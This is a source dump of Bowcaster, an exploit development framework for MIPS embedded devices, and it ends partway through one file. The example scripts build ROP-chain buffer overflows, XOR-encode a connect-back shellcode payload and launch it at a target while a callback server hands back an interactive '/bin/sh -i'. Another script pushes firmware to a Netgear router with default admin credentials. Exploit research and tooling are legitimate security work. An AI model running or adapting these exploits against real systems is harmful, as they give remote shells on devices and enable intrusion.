├── .gitignore ├── LICENSE.txt ├── MANIFEST.in ├── Makefile ├── README.txt ├── doc └── examples │ ├── helloworld │ ├── overflow_example_1.py │ ├── overflow_example_1a.py │ ├── overflow_example_2.py │ └── sendfw.py ├── setup.py └── src ├── bowcaster ├── __init__.py ├── clients │ ├── __init__.py │ └── http.py ├── common │ ├── __init__.py │ ├── hackers │ │ ├── __init__.py │ │ ├── hackers.py │ │ └── hackers.txt │ ├── support.py │ └── testlogger.py ├── contrib │ ├── C │ │ ├── config.h │ │ ├── stage2dropper.c │ │ └── vulnerable.c │ └── asm │ │ └── mips │ │ ├── README │ │ ├── mipsel_xor.s │ │ ├── rev_shell_null_free_le.s │ │ ├── trampoline.s │ │ ├── trojan-dropper-mips-be.s │ │ └── trojan-dropper-mips-le.s ├── development │ ├── __init__.py │ └── overflowbuilder.py ├── encoders │ ├── __init__.py │ ├── mips.py │ └── xorencoder.py ├── payloads │ ├── __init__.py │ └── mips │ │ ├── __init__.py │ │ ├── connectback_payload.py │ │ ├── trampoline.py │ │ └── trojan_dropper_payload.py └── servers │ ├── __init__.py │ ├── connectback_server.py │ ├── http_server.py │ └── multiplexing_server.py ├── standalone ├── README ├── connectbackserver ├── httpserver ├── multiplexserver └── trojanserver └── test-code └── pattern_test.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | build 3 | .DS_Store 4 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013 Zachary Cutlip , 2 | 2013 Tactical Network Solutions, LLC 3 | 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 9 | of the Software, and to permit persons to whom the Software is furnished to do 10 | so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include *.txt 2 | 3 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | install: 2 | python ./setup.py install 3 | 4 | clean: 5 | -find . -name \*.pyc | xargs rm 6 | 7 | distclean: clean 8 | -rm -rf ./build 9 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | Bowcaster Exploit Development Framework 2 | 3 | This framework, implemented in Python, is intended to aid those developing 4 | exploits by providing useful set of tools and modules, such as payloads, 5 | encoders, connect-back servers, etc. Currently the framework is focused on the 6 | MIPS CPU architecture, but the design is intended to be modular enough to 7 | support arbitrary architectures. 8 | 9 | To install, run: 10 | python setup.py install 11 | 12 | -------------------------------------------------------------------------------- /doc/examples/helloworld: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | #A demo to use with TrojanDropper, TrojanServer and stage2dropper. 4 | 5 | 6 | echo "hello world." 7 | 8 | -------------------------------------------------------------------------------- /doc/examples/overflow_example_1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2013 3 | # - Zachary Cutlip 4 | # - Tactical Network Solutions, LLC 5 | # 6 | # See LICENSE.txt for more details. 7 | # 8 | 9 | 10 | #This is an exmaple using Crossbow's OverflowBuffer and SectionCreator classes 11 | #to build a buffer overflow. 12 | 13 | import os 14 | import struct 15 | import sys 16 | import socket 17 | import signal 18 | import time 19 | 20 | from bowcaster.development.overflowbuilder import * 21 | from bowcaster.common.support import LittleEndian,Logging 22 | from bowcaster.servers.connectback_server import ConnectbackServer 23 | from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload 24 | from bowcaster.encoders.mips import * 25 | 26 | logger=Logging() 27 | 28 | CALLBACK_IP="192.168.127.10" 29 | CALLBACK_PORT="8080" 30 | 31 | qemu=False 32 | 33 | libc_qemu_base=0x4084a000 34 | libc_actual_base=0x2aaee000 35 | libc_base=0 36 | 37 | if qemu: 38 | libc_base=libc_qemu_base 39 | else: 40 | libc_base=libc_actual_base 41 | badchars=['\0',0x0d,'\n',0x20] 42 | 43 | SC=SectionCreator(LittleEndian,base_address=libc_base,badchars=badchars) 44 | 45 | #function_epilogue_rop 46 | SC.gadget_section(528,0x31b44, 47 | description="[$ra] function epilogue that sets up $s1-$s7") 48 | 49 | #Sleep arg 2 into $a0, stack data into $ra, then jalr $s0 50 | SC.gadget_section(656,0x43880, 51 | description="[$a0] Set up 2 sec arg to sleep(), then jalr $s1") 52 | 53 | #address of sleep 54 | SC.gadget_section(620,0x506c0, 55 | description="Address of sleep() in libc. be sure to set up $ra and $a0 before calling.") 56 | 57 | #placeholder address that can be dereferenced without crashing, this goes in $s2 58 | SC.gadget_section(628,0x427a4, 59 | description="[$s2] placeholder, derefed without crashing.") 60 | 61 | #stackfinder. add 0xe0+var_c0 + $sp into $s0, jalr $s6 62 | SC.gadget_section(688,0x427a4,description="stackfinder.") 63 | 64 | #stackjumber. jalr $s0 65 | SC.gadget_section(644,0x1ffbc,description="[$s0] stackjumper") 66 | 67 | #Or non-interactive exploitation: 68 | #connectback_server=ConnectbackServer(CALLBACK_IP,startcmd="/usr/sbin/telnetd -p 31337",connectback_shell=False) 69 | 70 | payload=ConnectbackPayload(CALLBACK_IP,LittleEndian) 71 | 72 | try: 73 | encoded_payload=MipsXorEncoder(payload,key=0xecb9dcb4,badchars=badchars) 74 | except EncoderException as ee: 75 | print ee 76 | sys.exit(1) 77 | 78 | #encoded_payload=MipsUpperAlphaEncoder(payload,LittleEndian,badchars=badchars) 79 | SC.string_section(700,encoded_payload.shellcode, 80 | description="encoded connect back payload") 81 | 82 | logger.LOG_DEBUG("length of encoded shellcode, including stub is: %d" % len(encoded_payload.shellcode)) 83 | #print encoded_payload.pretty_string() 84 | 85 | buf=OverflowBuffer(LittleEndian,1300,SC.section_list) 86 | logger.LOG_DEBUG("Length of overflow: %d" % buf.len()) 87 | if len(sys.argv) == 2: 88 | search_value=sys.argv[1] 89 | if search_value.startswith("0x"): 90 | value=int(search_value,16) 91 | offset=buf.find_offset(value) 92 | if(offset < 0): 93 | print "Couldn't find value %s in the overflow buffer." % search_value 94 | else: 95 | print "Found value %s at\noffset: %d" % (search_value,offset) 96 | exit(0) 97 | 98 | addr=sys.argv[1] 99 | port=int(sys.argv[2]) 100 | 101 | connectback_server=ConnectbackServer(CALLBACK_IP,startcmd="/bin/sh -i") 102 | pid=connectback_server.serve() 103 | time.sleep(1) 104 | if pid: 105 | try: 106 | sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 107 | sock.connect((addr,port)) 108 | logger.LOG_INFO("sending exploit.") 109 | sock.send(str(buf)) 110 | sock.close() 111 | connectback_server.wait() 112 | except Exception as e: 113 | logger.LOG_WARN("Failed to connect. ") 114 | logger.LOG_WARN("Failed to connect. Killing connect-back server.") 115 | connectback_server.shutdown() 116 | else: 117 | logger.LOG_WARN("Failed to start connect-back server.") 118 | sys.exit(1) 119 | 120 | 121 | -------------------------------------------------------------------------------- /doc/examples/overflow_example_1a.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2013 3 | # - Zachary Cutlip 4 | # - Tactical Network Solutions, LLC 5 | # 6 | # See LICENSE.txt for more details. 7 | # 8 | 9 | 10 | #This is an exmaple using Crossbow's OverflowBuffer and SectionCreator classes 11 | #to build a buffer overflow 12 | 13 | import os 14 | import struct 15 | import sys 16 | import socket 17 | import signal 18 | import time 19 | 20 | from bowcaster.development.overflowbuilder import * 21 | from bowcaster.common.support import LittleEndian,Logging 22 | from bowcaster.servers.connectback_server import TrojanServer 23 | from bowcaster.payloads.mips import TrojanDropper 24 | from bowcaster.encoders.mips import * 25 | 26 | logger=Logging() 27 | 28 | CALLBACK_IP="192.168.127.10" 29 | CALLBACK_PORT="8080" 30 | 31 | qemu=False 32 | 33 | libc_qemu_base=0x4084a000 34 | libc_actual_base=0x2aaee000 35 | libc_base=0 36 | 37 | if qemu: 38 | libc_base=libc_qemu_base 39 | else: 40 | libc_base=libc_actual_base 41 | badchars=['\0',0x0d,'\n',0x20] 42 | 43 | SC=SectionCreator(LittleEndian,base_address=libc_base,badchars=badchars) 44 | 45 | #function_epilogue_rop 46 | SC.gadget_section(528,0x31b44, 47 | description="[$ra] function epilogue that sets up $s1-$s7") 48 | 49 | #Sleep arg 2 into $a0, stack data into $ra, then jalr $s0 50 | SC.gadget_section(656,0x43880, 51 | description="[$a0] Set up 2 sec arg to sleep(), then jalr $s1") 52 | 53 | #address of sleep 54 | SC.gadget_section(620,0x506c0, 55 | description="Address of sleep() in libc. be sure to set up $ra and $a0 before calling.") 56 | 57 | #placeholder address that can be dereferenced without crashing, this goes in $s2 58 | SC.gadget_section(628,0x427a4, 59 | description="[$s2] placeholder, derefed without crashing.") 60 | 61 | #stackfinder. add 0xe0+var_c0 + $sp into $s0, jalr $s6 62 | SC.gadget_section(688,0x427a4,description="stackfinder.") 63 | 64 | #stackjumber. jalr $s0 65 | SC.gadget_section(644,0x1ffbc,description="[$s0] stackjumper") 66 | 67 | payload=TrojanDropper(CALLBACK_IP,LittleEndian) 68 | 69 | try: 70 | encoded_payload=MipsXorEncoder(payload,key=0xecb9dcb4,badchars=badchars) 71 | except EncoderException as ee: 72 | print ee 73 | sys.exit(1) 74 | 75 | SC.string_section(700,encoded_payload.shellcode, 76 | description="encoded connect back payload") 77 | 78 | logger.LOG_DEBUG("length of encoded shellcode, including stub is: %d" % len(encoded_payload.shellcode)) 79 | #print encoded_payload.pretty_string() 80 | 81 | buf=OverflowBuffer(LittleEndian,1300,SC.section_list) 82 | logger.LOG_DEBUG("Length of overflow: %d" % buf.len()) 83 | if len(sys.argv) == 2: 84 | search_value=sys.argv[1] 85 | if search_value.startswith("0x"): 86 | value=int(search_value,16) 87 | offset=buf.find_offset(value) 88 | if(offset < 0): 89 | print "Couldn't find value %s in the overflow buffer." % search_value 90 | else: 91 | print "Found value %s at\noffset: %d" % (search_value,offset) 92 | exit(0) 93 | 94 | addr=sys.argv[1] 95 | port=int(sys.argv[2]) 96 | pid=1 97 | 98 | files_to_serve=["./stage2dropper","./helloworld"] 99 | server=TrojanServer(CALLBACK_IP,files_to_serve,connectback_shell=True,startcmd="/bin/sh -i") 100 | pid=server.serve() 101 | time.sleep(1) 102 | if pid: 103 | try: 104 | 105 | sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 106 | 107 | sock.connect((addr,port)) 108 | logger.LOG_INFO("sending exploit.") 109 | sock.send(str(buf)) 110 | sock.close() 111 | server.wait() 112 | except Exception as e: 113 | logger.LOG_WARN("Failed to connect. ") 114 | logger.LOG_WARN("Failed to connect. Killing connect-back server.") 115 | server.shutdown() 116 | else: 117 | logger.LOG_WARN("Failed to start connect-back server.") 118 | sys.exit(1) 119 | 120 | 121 | -------------------------------------------------------------------------------- /doc/examples/overflow_example_2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2013 3 | # - Zachary Cutlip 4 | # - Tactical Network Solutions, LLC 5 | # 6 | # See LICENSE.txt for more details. 7 | # 8 | 9 | 10 | #This is an exmaple using Crossbow's EmptyOverflowBuffer class to build a buffer 11 | #overflow 12 | 13 | import os 14 | import struct 15 | import sys 16 | import socket 17 | import signal 18 | import time 19 | from bowcaster.common.support import Logging 20 | from bowcaster.development.overflowbuilder import EmptyOverflowBuffer 21 | from bowcaster.common.support import LittleEndian 22 | from bowcaster.servers.connectback_server import ConnectbackServer 23 | from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload 24 | from bowcaster.encoders.mips import MipsXorEncoder 25 | 26 | CALLBACK_IP="192.168.127.10" 27 | CALLBACK_PORT="8080" 28 | 29 | logger=Logging() 30 | 31 | qemu=False 32 | 33 | libc_qemu_base=0x4084a000 34 | libc_actual_base=0x2aaee000 35 | libc_base=0 36 | 37 | if qemu: 38 | libc_base=libc_qemu_base 39 | else: 40 | libc_base=libc_actual_base 41 | 42 | badchars=['\0',0x0d,'\n',0x20] 43 | 44 | buf=EmptyOverflowBuffer(LittleEndian,default_base=libc_base,badchars=badchars,maxlength=2048) 45 | 46 | 47 | #first function epilogue 48 | ra=528 49 | 50 | #second function epilogue 51 | s0=620 52 | s2=628 53 | s6=644 54 | ra_2=656 55 | 56 | #stack offsets 57 | sleep_return=688 58 | shellcode_return=700 59 | 60 | buf.add_pattern(ra) #$ra loaded from offset 528 61 | 62 | #function_epilogue_rop 63 | buf.add_rop_gadget(0x31b44, 64 | description="[$ra] function epilogue that sets up $s1-$s7") 65 | 66 | buf.add_pattern(s0-buf.len()) 67 | #address of sleep 68 | buf.add_rop_gadget(0x506c0, 69 | description="[$s0] Address of sleep() in libc. be sure to set up $ra and $a0 before calling.") 70 | 71 | buf.add_pattern(s2-buf.len()) 72 | #placeholder address that can be dereferenced without crashing, this goes in $s2 73 | buf.add_rop_gadget(0x427a4, 74 | description="[$s2] placeholder, derefed without crashing.") 75 | 76 | buf.add_pattern(s6-buf.len()) 77 | #stackjumber. jalr $s0 78 | buf.add_rop_gadget(0x1ffbc,description="[$s6] stackjumper") 79 | 80 | buf.add_pattern(ra_2-buf.len()) 81 | #Sleep arg 2 into $a0, stack data into $ra, then jalr $s0 82 | buf.add_rop_gadget(0x43880, 83 | description="[$a0] Set up 2 sec arg to sleep(), then jalr $s1") 84 | 85 | buf.add_pattern(sleep_return-buf.len()) 86 | #stackfinder. add 0xe0+var_c0 + $sp into $s0, jalr $s6 87 | buf.add_rop_gadget(0x427a4,description="stackfinder.") 88 | 89 | payload=ConnectbackPayload(CALLBACK_IP,LittleEndian) 90 | encoded_payload=MipsXorEncoder(payload,badchars=badchars) 91 | 92 | buf.add_pattern(shellcode_return-buf.len()) 93 | buf.add_string(encoded_payload.shellcode, 94 | description="encoded connect back payload") 95 | 96 | 97 | if len(sys.argv) == 2: 98 | search_string=sys.argv[1] 99 | if search_string.startswith("0x"): 100 | search_value=int(search_string,16) 101 | else: 102 | search_value=search_string 103 | offset=buf.find_offset(search_value) 104 | if(offset < 0): 105 | print "Couldn't find string %s in the overflow buffer." % search_string 106 | else: 107 | print "Found string %s at\noffset: %d" % (search_string,offset) 108 | exit(0) 109 | 110 | addr=sys.argv[1] 111 | port=int(sys.argv[2]) 112 | 113 | 114 | connectback_server=ConnectbackServer(CALLBACK_IP,startcmd="/bin/sh -i") 115 | #Or non-interactive exploitation: 116 | #connectback_server=ConnectbackServer(connectback_host,startcmd="/usr/sbin/telnetd -p 31337",connectback_shell=False) 117 | pid=connectback_server.serve() 118 | time.sleep(1) 119 | if pid: 120 | try: 121 | sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 122 | sock.connect((addr,port)) 123 | logger.LOG_INFO("sending exploit.") 124 | sock.send(str(buf)) 125 | sock.close() 126 | connectback_server.wait() 127 | except Exception as e: 128 | logger.LOG_WARN("Failed to connect. ") 129 | logger.LOG_WARN("Failed to connect. Killing connect-back server.") 130 | connectback_server.shutdown() 131 | else: 132 | logger.LOG_WARN("Failed to start connect-back server.") 133 | sys.exit(1) 134 | 135 | -------------------------------------------------------------------------------- /doc/examples/sendfw.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Example code to upload a firmware file to the Netgear R6200 firmware update form. 5 | """ 6 | 7 | import sys 8 | import os 9 | from bowcaster.common import Logging 10 | from bowcaster.clients import HttpClient 11 | from bowcaster.clients import HTTPError 12 | from bowcaster.clients import MultipartForm 13 | 14 | def send_fw(url,fw_file): 15 | 16 | logger=Logging(max_level=Logging.DEBUG) 17 | logger.LOG_INFO("Sending %s" % fw_file) 18 | logger.LOG_INFO("to %s" % url) 19 | 20 | fw_file_basename=os.path.basename(fw_file) 21 | 22 | logger.LOG_INFO("Creating headers.") 23 | headers={"Accept": 24 | "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"} 25 | headers["Accept-Language"]="en-US,en;q=0.5" 26 | headers["Accept-Encoding"]="gzip, deflate" 27 | headers["Referer"]="http://192.168.127.141/UPG_upgrade.htm" 28 | 29 | #admin:password 30 | headers["Authorization"]="Basic YWRtaW46cGFzc3dvcmQ=" 31 | headers["Connection"]="keep-alive" 32 | 33 | logger.LOG_INFO("Creating post data") 34 | 35 | mf=MultipartForm() 36 | mf.add_field("buttonHit","Upgrade") 37 | mf.add_field("buttonValue","Upload") 38 | mf.add_field("IS_check_upgrade","0") 39 | mf.add_field("ver_check_enable","1") 40 | mf.add_file("mtenFWUpload",fw_file) 41 | mf.add_field("upfile",fw_file_basename) 42 | mf.add_field("Upgrade","Upload") 43 | mf.add_field("progress","") 44 | post_data=str(mf) 45 | headers["Content-Length"]=("%s" % len(post_data)) 46 | headers["Content-Type"]=mf.get_content_type() 47 | client=HttpClient() 48 | logger.LOG_INFO("Sending request.") 49 | resp=client.send(url,headers=headers,post_data=post_data) 50 | 51 | return resp 52 | 53 | 54 | 55 | def main(fw_file,host=None): 56 | if not host: 57 | host="192.168.127.141" 58 | url="http://%s/upgrade_check.cgi" % host 59 | resp=send_fw(url,fw_file) 60 | print resp 61 | 62 | if __name__ == "__main__": 63 | if(len(sys.argv) == 2): 64 | main(sys.argv[1]) 65 | elif len(sys.argv) == 3: 66 | main(sys.argv[1],host=sys.argv[2]) 67 | else: 68 | print("Specify at least firmware file.") 69 | sys.exit(1) 70 | 71 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2013 3 | # - Zachary Cutlip 4 | # - Tactical Network Solutions, LLC 5 | # 6 | # See LICENSE.txt for more details. 7 | # 8 | 9 | 10 | from distutils.core import setup 11 | 12 | setup(name='Bowcaster', 13 | version='0.1', 14 | description='Lightweight, cross-platform exploit development framework', 15 | long_description=open('README.txt').read(), 16 | author='Zachary Cutlip', 17 | author_email="uid000@gmail.com", 18 | package_dir = {'':'src'}, 19 | package_data={'':['contrib/C/*','contrib/asm/mips/*','common/hackers/hackers.txt']}, 20 | packages=['bowcaster', 21 | 'bowcaster.common', 22 | 'bowcaster.common.hackers', 23 | 'bowcaster.development', 24 | 'bowcaster.payloads', 25 | 'bowcaster.payloads.mips', 26 | 'bowcaster.encoders', 27 | 'bowcaster.servers', 28 | 'bowcaster.clients'], 29 | scripts=["src/standalone/connectbackserver", 30 | "src/standalone/httpserver", 31 | "src/standalone/trojanserver"] 32 | ) 33 | 34 | -------------------------------------------------------------------------------- /src/bowcaster/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | import common 9 | import encoders 10 | import development 11 | import servers 12 | import payloads 13 | -------------------------------------------------------------------------------- /src/bowcaster/clients/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | from http import * 9 | 10 | __all__ = ["HttpClient","HTTPError"] 11 | 12 | -------------------------------------------------------------------------------- /src/bowcaster/clients/http.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | import urllib 9 | import urllib2 10 | import mimetools 11 | import itertools 12 | import os 13 | from urllib2 import HTTPError 14 | from ..common.support import Logging 15 | 16 | class HttpClient(object): 17 | """ 18 | A very basic HTTP client class whose primary purpose is sending a string 19 | to a server via POST or GET, and to abstract the details of 20 | """ 21 | def encode(self,data): 22 | """ 23 | If you need to control what data is URL encoded, use this, otherwise set 24 | urlencode=True on send() 25 | """ 26 | if type(data) == dict: 27 | data=urllib.urlencode(data) 28 | else: 29 | data=urllib.quote_plus(data) 30 | return data 31 | 32 | def send(self,url,headers=None,post_data=None,urlencode=False,get_resp=True,debug_req=False): 33 | """ 34 | Send HTTP data. If post data is provided, the request is sent as a POST, 35 | otherwise it is sent as a GET. 36 | 37 | Note: For POST requests, Content-Length header is not calculated. It 38 | be provided in the headers parameter. 39 | 40 | Parameters 41 | ---------- 42 | url: URL to send the GET or POST to. 43 | headers: Optional. A dictionary of header key/value pairs describing 44 | the HTTP headers to send. Ordering is not guaranteed. 45 | post_data: Optional. Data to send in a POST request. Defaults to None. 46 | urlencode: Optional. URL encode the POST data. Defaults to False. 47 | get_resp: Optional. A response is expected, and will be read() and 48 | returned. Defaults to true. 49 | debug_req: Optional. Set debug level on the URL opener so that the 50 | request is printed to the console. 51 | """ 52 | 53 | if post_data and urlencode: 54 | post_data=self.encode(post_data) 55 | 56 | if post_data and headers: 57 | req = urllib2.Request(url,post_data,headers) 58 | elif post_data: 59 | req = urllib2.Request(url,post_data) 60 | elif headers: 61 | req = urllib2.Request(url,None,headers) 62 | else: 63 | req = urllib2.Request(url) 64 | 65 | 66 | #Instead of using urlib2.urlopen(), 67 | #Create a HTTPHandler object and optionally set its debug level to 1 68 | httpHandler = urllib2.HTTPHandler() 69 | if debug_req: 70 | httpHandler.set_http_debuglevel(1) 71 | 72 | #Instead of using urllib2.urlopen, create an opener, 73 | #and pass the HTTPHandler and any other handlers... to it. 74 | opener = urllib2.build_opener(httpHandler) 75 | 76 | #Use your opener to open the Request. 77 | response = opener.open(req) 78 | #response = urllib2.urlopen(req) 79 | 80 | resp_data=None 81 | if get_resp: 82 | resp_data = response.read() 83 | return resp_data 84 | 85 | class MultipartForm(object): 86 | """ 87 | 88 | A class to generate a multipart/form-data body for use with a POST request. 89 | Generate the multipart form string then send as a POST with the HttpClient 90 | class. 91 | 92 | Shamelessly ripped off from: http://pymotw.com/2/urllib2/ 93 | """ 94 | def __init__(self): 95 | self.form_fields=[] 96 | self.files=[] 97 | self.boundary=mimetools.choose_boundary() 98 | 99 | def get_content_type(self): 100 | """ 101 | Return the content-type, including multipart boundary, for this object. 102 | """ 103 | return "multipart/form-data; boundary=%s" % self.boundary 104 | 105 | def add_field(self,name,value): 106 | """ 107 | Add a simple form field to the form data. 108 | 109 | Parameters 110 | ---------- 111 | name: Name of the field to add. 112 | value: Value of the field to add. 113 | """ 114 | self.form_fields.append((name,value)) 115 | 116 | 117 | def add_file(self,fieldname,filename,filename_override=None,mimetype=None): 118 | """ 119 | Add a file to be uploaded. 120 | 121 | Parameters 122 | ---------- 123 | fieldname: Textual field name for the form being submitted. 124 | filename: Path and name of file on disk to open, read, and include in 125 | the form data. 126 | filename_override: Optional. Override the filename with this string. 127 | Otherwise the basename of the filename parameter 128 | will be used in the form data. 129 | mimetype: Mimetype to specify for the attached file. If none, defaults 130 | to: 'application/octet-stream' 131 | """ 132 | body=open(filename,"rb").read() 133 | file_basename="" 134 | if filename_override != None: 135 | file_basename=filename_override 136 | else: 137 | file_basename=os.path.basename(filename) 138 | 139 | if mimetype == None: 140 | mimetype='application/octet-stream' 141 | 142 | self.files.append((fieldname,file_basename,mimetype,body)) 143 | 144 | def __str__(self): 145 | """ 146 | Get a string representation of the form data suitable for use as 147 | post_data parameter to HttpClient.send() 148 | """ 149 | parts=[] 150 | part_boundary = "--" + self.boundary 151 | parts.extend( 152 | [ part_boundary, 153 | 'Content-Disposition: form-data; name="%s"' % name, 154 | '', 155 | value, 156 | ] 157 | for name,value in self.form_fields 158 | ) 159 | 160 | parts.extend( 161 | [ part_boundary, 162 | 'Content-Disposition: file; name="%s"; filename="%s"' % \ 163 | (field_name,filename), 164 | 'Content-Type: %s' % content_type, 165 | '', 166 | body, 167 | ] 168 | for field_name,filename,content_type,body in self.files 169 | ) 170 | flattened = list(itertools.chain(*parts)) 171 | flattened.append('--' + self.boundary + '--') 172 | flattened.append('') 173 | return '\r\n'.join(flattened) -------------------------------------------------------------------------------- /src/bowcaster/common/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | from support import * 9 | from hackers.hackers import * 10 | 11 | __all__ = ["BigEndian","LittleEndian","Logging","PointerSizes","StructPackFmt"] 12 | 13 | hackers_quotes=None 14 | try: 15 | hacker_quotes_enabled=getattr(sys.modules['__main__'],'HACKERS_QUOTES_ENABLED') 16 | except: 17 | hacker_quotes_enabled=False 18 | if True == hacker_quotes_enabled: 19 | hackers_quotes=Hackers() 20 | hackers_quotes.banner() 21 | -------------------------------------------------------------------------------- /src/bowcaster/common/hackers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zcutlip/bowcaster/17d69c1ad973356b1ea42ee9cb80525bfef8c255/src/bowcaster/common/hackers/__init__.py -------------------------------------------------------------------------------- /src/bowcaster/common/hackers/hackers.py: -------------------------------------------------------------------------------- 1 | import random 2 | import os 3 | from ...common.support import Logging 4 | 5 | class Hackers(): 6 | HACKERS_FILE="hackers.txt" 7 | STARS="*************************" 8 | 9 | def __get_this_path(self): 10 | thisfile=__file__ 11 | if os.path.islink(thisfile): 12 | thisfile=os.path.realpath(thisfile) 13 | 14 | thispath=os.path.dirname(os.path.abspath(thisfile)) 15 | return thispath 16 | 17 | def __init__(self,logger=None): 18 | cls=self.__class__ 19 | thispath=self.__get_this_path() 20 | if not logger: 21 | logger=Logging(max_level=Logging.DEBUG) 22 | self.logger=logger 23 | self.hackers_quotes=[] 24 | 25 | hackers_file="%s/%s" % (thispath,cls.HACKERS_FILE) 26 | 27 | for line in open(hackers_file,"rb").readlines(): 28 | self.hackers_quotes.append(line.rstrip()) 29 | def banner(self): 30 | self.logger.LOG_INFO("Hackers quotes enabled.") 31 | 32 | def random_quote(self): 33 | random.seed() 34 | rand=random.randint(1,len(self.hackers_quotes))-1 35 | return self.hackers_quotes[rand] 36 | 37 | 38 | def log_random_quote(self,logger=None): 39 | if not logger: 40 | logger=self.logger 41 | 42 | quote=self.random_quote() 43 | logger.LOG_DEBUG("%s" % self.__class__.STARS) 44 | logger.LOG_DEBUG("Hackers random movie quote:") 45 | logger.LOG_DEBUG("%s" % quote) 46 | logger.LOG_DEBUG("%s" % self.__class__.STARS) 47 | 48 | -------------------------------------------------------------------------------- /src/bowcaster/common/hackers/hackers.txt: -------------------------------------------------------------------------------- 1 | The Plague: There is no right and wrong. There's only fun and boring. 2 | Dade Murphy: You look good in a dress. Kate Libby: You would have looked better. 3 | Kate Libby: I don't DO dates. But I don't lose either, so you're on! 4 | Dade Murphy: Mess with the best, die like the rest. 5 | The Plague: You wanted to know who I am, Zero Cool? Well, let me explain the New World Order. Governments and corporations need people like you and me. We are Samurai... the Keyboard Cowboys... and all those other people who have no idea what's going on are the cattle... Moooo. 6 | Cereal Killer: When I was a child, I spoke as a child, I understood as a child, I thought as a child, but when I became a man, I put away childish things. What? It's Corinthians one, chapter thirteen verse eleven. 7 | Nikon: You're in the butter zone now, baby. 8 | Dade Murphy: Hack the planet! Hack the planet! 9 | Paul Cook: Zero Cool? Crashed fifteen hundred and seven computers in one day? Biggest crash in history, front page New York Times August 10th, 1988. I thought you was black man. YO THIS IS ZERO COOL! 10 | The Plague: Someone didn't bother reading my carefully prepared memo on commonly-used passwords. Now, then, as I so meticulously pointed out, the four most-used passwords are: love, sex, secret, and... 11 | Dade Murphy: I'm taking over a TV network. Mrs. Murphy: Finish up, honey, and get to sleep. 12 | Dade Murphy: The pool on the roof must have a leak. 13 | Ramon Sanchez: So, uh, what's your interest in Kate Libby, eh? Academic? Purely sexual? Dade Murphy: Homicidal. 14 | Cereal Killer: Spandex: it's a privilege, not a right. 15 | Kate Libby: Indeed. RISC architecture is gonna change everything. Dade Murphy: Yeah. RISC is good. 16 | Dade Murphy: You look good in a dress. Kate Libby: You would have looked better. 17 | Kate Libby: Never send a boy to do a woman's job. 18 | -------------------------------------------------------------------------------- /src/bowcaster/common/support.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | import sys 8 | import binascii 9 | BigEndian,LittleEndian=range(2) 10 | """ 11 | Endianness constants to pass to constructors ofendianness-sensitive classes. 12 | """ 13 | 14 | class PointerSizes(object): 15 | LP64=8 16 | LP32=4 17 | 18 | class StructPackFmt(str): 19 | FormatStrs={} 20 | FormatStrs[BigEndian]={PointerSizes.LP32:">L", 21 | PointerSizes.LP64:">Q"} 22 | FormatStrs[LittleEndian]={PointerSizes.LP32:"= 32 and ord(byte) <= 126: 42 | p_string+=byte 43 | else: 44 | p_string+="\\x"+binascii.hexlify(byte) 45 | return p_string 46 | 47 | 48 | def parse_badchars(badchars): 49 | badchar_list=[] 50 | for item in badchars: 51 | if type(item)==int: 52 | badchar_list.append(chr(item)) 53 | else: 54 | if type(item) == str: 55 | parts=list(item) 56 | for part in parts: 57 | badchar_list.append(part) 58 | return badchar_list 59 | 60 | class Logging: 61 | """ 62 | Basic logging class. Prints to stdout by default. 63 | 64 | 